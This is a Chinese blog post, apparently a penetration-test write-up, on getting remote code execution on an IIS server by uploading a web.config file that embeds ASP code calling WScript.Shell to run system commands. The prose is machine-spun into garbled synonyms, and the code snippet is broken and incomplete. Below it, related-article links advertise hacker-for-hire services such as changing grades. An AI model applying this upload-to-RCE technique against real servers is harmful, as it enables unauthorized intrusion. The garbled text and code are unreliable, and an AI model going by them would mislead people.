上传web.config文件获取长途代码履行权限

访客5年前黑客工具501


本文叙述的是,我通过上传一个web.config文件,绕过方针测验网站的黑名单机制,打破履行权限约束,完成ASP代码运转获取长途代码履行权限。
前语
无聊的校园实习期,做完实验后无事可做,所以,在取得对校园网站的测验授权后,我就来了兴致。通过一番简略的前期侦测之后,我发现了某个网站存在的上传功用比较有意思。从服务勘探阶段可知,该网站是一台IIS服务器,遇到这种网站,我一般会在网站URL中加上/来进行测验,因为ASP.NET默许设置有XSS进犯过滤功用,所以,服务器对/这样的测验回来了以下相似的过错呼应音讯:

Server Error in ‘/’ Application.
A potentially dangerous Request.Path value was detected from the client (
在这个回来页底部,我检查到了详细的ASP.NET版别,还有一个Microsoft的服务器头信息:
Server: Microsoft-IIS/8.5
测验
有了这些信息之后,我就想看看是否存在一些未授权的文件上传功用。通过‘.aspx’、‘.asp’ 和 ‘.a *** x’等不同后缀文件的上传测验后,都是回来了过错音讯页面。
Description: Upload failed – Access Denied. User 1523151 does not have permissions to add content package to folder with ID 56424856
唉,得试着转变下思路。因为我有好多年的ASP.NET编程经历,通过了这些不同后缀的文件履行测验之后,我多少对这个网站的上传机制有所了解。能不能上传一个包含正常元数据和与网站使用相关内容的文件呢?这儿,我想到了‘.htaccess’ 文件,但因为这是一台Windows服务器,所以对应的文件应该是web.config,但我从来没测验上传过这种.config文件啊。
Web.config文件
什么是web.config文件呢?
Web.config文件是一个XML文本文件,它用来贮存ASP.NETWeb 使用程序的装备信息(如最常用的设置ASP.NETWeb 使用程序的身份验证 *** ),它能够出现在使用程序的每一个目录中。当你通过.NET新建一个Web使用程序后,默许情况下会在根目录主动创立一个默许的Web.config文件,包含默许的装备设置,一切的子目录都承继它的装备设置。假如你想修正子目录的装备设置,你能够在该子目录下新建一个Web.config文件,它能够供给除从父目录承继的装备信息以外的装备信息,也能够重写或修正父目录中界说的设置。web.config文件放置在要目录下则会对整个网站产生影响,假如放置在其它目录之下,则只会对当时目录产生影响。
通过web.config文件,咱们能够对以下网站特点进行操控:
Database connection strings. (数据库衔接字符串)
Error behavior.(过错操作)
Security.(安全性)
因为web.config文件是XML文本,不像‘.html’ 或 ‘.txt等特别后缀格局,所以,我想测验来上传个web.config看看,这一传可不得了,居然没回来任何过错呼应音讯页面,并且这个web.config被成功上传到了方针服务器网站的某个目录下了。
使用web.config
好吧,现在咱们想办法来使用这条途径,通过一番研讨,我发现在这篇文章中有安全人员提到过,在web.config文件中增加代码完成了ASP代码运转的 *** ,所以,我通过改装,在其间增加了履行体系CMD指令的代码,如下:
1.0″ encoding=”UTF-8″?>
”)
Response.write(“
”)
Set wShell1 = CreateObject(“WScript.Shell”)
Set cmd1 = wShell1.Exec(“whoami”)
output1 = cmd1.StdOut.Readall()
set cmd1 = nothing: Set wShell1 = nothing
Response.write(output1)
Response.write(“
–>
以上代码在web.config中增加了一个可读可写权限的处理句柄程序,然后咱们在之内写入了服务器端指令履行代码。当把这个web.config文件上传成功之后,阅读拜访它,就会履行体系指令whoami指令,之后可成功回来 ‘nt authoritysystem,这样就取得了一个长途代码履行权限!是不是很 *** 。剩余的便是好好写一份浸透测验报告,对这个缝隙进行上报了。
 

相关文章

木马制作_网上找黑客改分靠谱吗-在哪里可以找黑客接单

「木马制作_网上找黑客改分靠谱吗-在哪里可以找黑客接单」Level Goal在whorunscoinhive.com查询该Site Key挖矿的网页月流量达1011442,排在网页挖矿top榜第56位...

国内黑客接单网_找黑客改成绩被发现

网络金融违法经过OlympicDestroyer的工作,咱们发现了一个与Sofacy和BlackEnergy相关的新式安排,咱们称之为Hades。 在后续,咱们还将继续重视这些假装保护的展开状况,以及...

广州黑客公司有接单的_找黑客回本

陈述显现,政府、交际、戎行、国防仍然是 APT 进犯者的首要方针,动力、电力、医疗、工业等国家基础设施性职业也正面对着APT进犯的危险。 而金融职业首要面对一些老练的网络违法团伙的进犯要挟,如Mage...

网络赌博输了几十万。能要回来吗?怎么办?都是借

4、修复及缓解建议Description=The Apache HTTP ServerUbuntu Server 18.04test.local网络赌博输了几十万。能要回来吗?怎么办?都是借, //...

网络嗅探_手机黑客联系电话-黑客找淘宝漏洞

Office类型的缝隙运用(CVE-2014-4114)–>邮件–>下载歹意组件BlackEnergy侵入职工电力工作体系–>BlackEnergy持续下载歹意组件(KillDisk...

JIS-CTF_VulnUpload靶机攻略

vulnhub 是我喜欢的游乐场之一,上面的每个靶机都是很帅的一个游戏。完好找出一切 flag 仅仅基本任务,完结提权才是终极方针。我并不寻求最快夺旗,而是尽或许运用完好进犯链侵略靶机,所以,这篇攻略...